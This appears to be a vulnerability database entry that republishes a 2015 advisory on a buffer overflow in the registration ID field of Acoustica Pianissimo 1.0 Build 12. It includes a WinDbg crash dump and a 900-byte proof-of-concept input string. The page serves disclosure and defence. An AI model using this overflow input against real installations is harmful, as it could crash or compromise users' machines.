Acoustica Pianissimo 1.0 Build 12 (Registration ID) Buffer Overflow PoC

vendor:

Pianissimo virtual piano

by:

N/A

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Pianissimo virtual piano

Affected Version From: 1.0 Build 12

Affected Version To: 1.0 Build 12

Patch Exists: YES

Related CWE: N/A

CPE: a:acoustica:pianissimo:1.0_build_12

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Acoustica Pianissimo 1.0 Build 12 (Registration ID) Buffer Overflow PoC

The vulnerability is caused due to a boundary error in the processing of a user input in the registration id field of the registration procedure, which can be exploited to cause a buffer overflow when a user inserts long array of string for the ID. Successful exploitation could allow execution of arbitrary code on the affected machine.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

Acoustica Pianissimo 1.0 Build 12 (Registration ID) Buffer Overflow PoC


Vendor: Acoustica, Inc.
Product web page: http://www.acoustica.com
Affected version: 1.0 Build 12

Summary: Pianissimo virtual piano uses a combination of sample
playback and advanced physical modeling to create a stunning
acoustic grand piano sound. Starting with 250 MB of high quality
samples of a Steinway™ Model D grand piano, Pianissimo uses
complex signal processing and programming to recreate the warmth,
response, and playability of a real grand piano.

Desc: The vulnerability is caused due to a boundary error in the
processing of a user input in the registration id field of the
registration procedure, which can be exploited to cause a buffer
overflow when a user inserts long array of string for the ID.
Successful exploitation could allow execution of arbitrary code
on the affected machine.

-----------------------------------------------------------------

(b98.1790): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\VST\Pianissimo\Pianissimo.dll - 
eax=00000000 ebx=532d0245 ecx=bdeec3ea edx=00000049 esi=4a18d43c edi=06c07739
eip=061fbda7 esp=00184a28 ebp=4d2d0276 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
Pianissimo!CRefObj::SeekToData+0x4127:
061fbda7 8b86dc200000    mov     eax,dword ptr [esi+20DCh] ds:002b:4a18f518=????????
0:000> d esp-1000
00183a28  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a38  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a48  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a58  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a68  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a78  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a88  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00183a98  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0:000> u 061fbda7
Pianissimo!CRefObj::SeekToData+0x4127:
061fbda7 8b86dc200000    mov     eax,dword ptr [esi+20DCh]
061fbdad 50              push    eax
061fbdae 6a30            push    30h
061fbdb0 681cc52c06      push    offset Pianissimo!CRefObj::Tell+0x45bfc (062cc51c)
061fbdb5 6810c52c06      push    offset Pianissimo!CRefObj::Tell+0x45bf0 (062cc510)
061fbdba e841f8ffff      call    Pianissimo!CRefObj::SeekToData+0x3980 (061fb600)
061fbdbf 83c410          add     esp,10h
061fbdc2 8ac3            mov     al,bl

-----------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
           Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5243
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5243.php


16.03.2015

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900 bytes:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
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